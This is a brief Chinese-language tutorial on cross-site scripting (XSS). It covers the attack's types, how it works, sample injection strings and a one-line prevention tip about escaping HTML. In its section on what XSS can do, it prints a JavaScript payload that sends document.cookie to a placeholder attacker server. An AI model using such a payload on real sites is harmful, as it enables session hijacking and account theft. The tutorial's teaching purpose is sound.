XSS攻擊與防止
1.XSS又稱CSS, cross sitescript, 跨站腳本攻擊,是web程式中常見的漏洞
- XSS屬於被動式且用於客戶端的攻擊方式
-
XSS攻擊類似於SQL注入攻擊,攻擊之前,我們先找到一個存在XSS漏洞的網站,XSS漏洞分為兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。
-
XSS其實就是Html的注入問題,攻擊者的輸入沒有經過嚴格的控制進入了資料庫,最終顯示給來訪的用戶,導致可以在來訪用戶的瀏覽器里以瀏覽用戶的身份執行Html程式碼,數據流程如下:攻擊者的Html輸入—>web程式—>進入資料庫—>web程式—>用戶瀏覽器。
2.原理: 攻擊者向有XSS漏洞的網站中輸入惡意的html程式碼,當用戶瀏覽該網站時,這段html程式碼會自行執行,從而達到攻擊的目的,例如盜取用戶的cookie, 破壞頁面結構,重定向到其它網站。
3: 實施XSS攻擊需要具備兩個條件
- 需要向web頁面注入惡意程式碼
- 這些惡意程式碼能夠被瀏覽器成功的執行
4:常見輸入的惡意XSS字元
- XSS 輸入通常包含js腳本,如彈出惡意警告框: <script>alert("XSS");</script>
- XSS 輸入也可能是 HTML 程式碼段,譬如:網頁不停地刷新 <meta http-equiv="refresh" content="0;">
-
嵌入其它網站的鏈接 <iframe src=//xxxx width=250 height=250></iframe>
5.xss攻擊的主要目的
- 想辦法獲取目標攻擊網站的cookie,因為有了cookie相當有了seesion, 有了這些資訊就可以在任意能接近互聯網的pc登錄站點,登錄做一些破壞。
6. 預防措施
- 防止下發介面現實html標籤, 把</>等符號轉義
7.XSS攻擊能做些什麼
- 竊取cookies,讀取目標網站的cookie發送到黑客的伺服器上,如下面的程式碼
-
var i=document.createElement("img");document.body.appendChild(i);i.src = "//www.hackerserver.com/?c=" + document.cookie;
- 讀取用戶未公開的資料,如果:郵件列表或者內容、系統的客戶資料,聯繫人列表等等。
- 前面兩個是讀的操作,其實還可進行寫的操作,比如說:刪除用戶的部落格,轉髮指定的微博,向用戶的聯繫人發送帶有惡意程式碼的資訊,進行下一步的傳播。

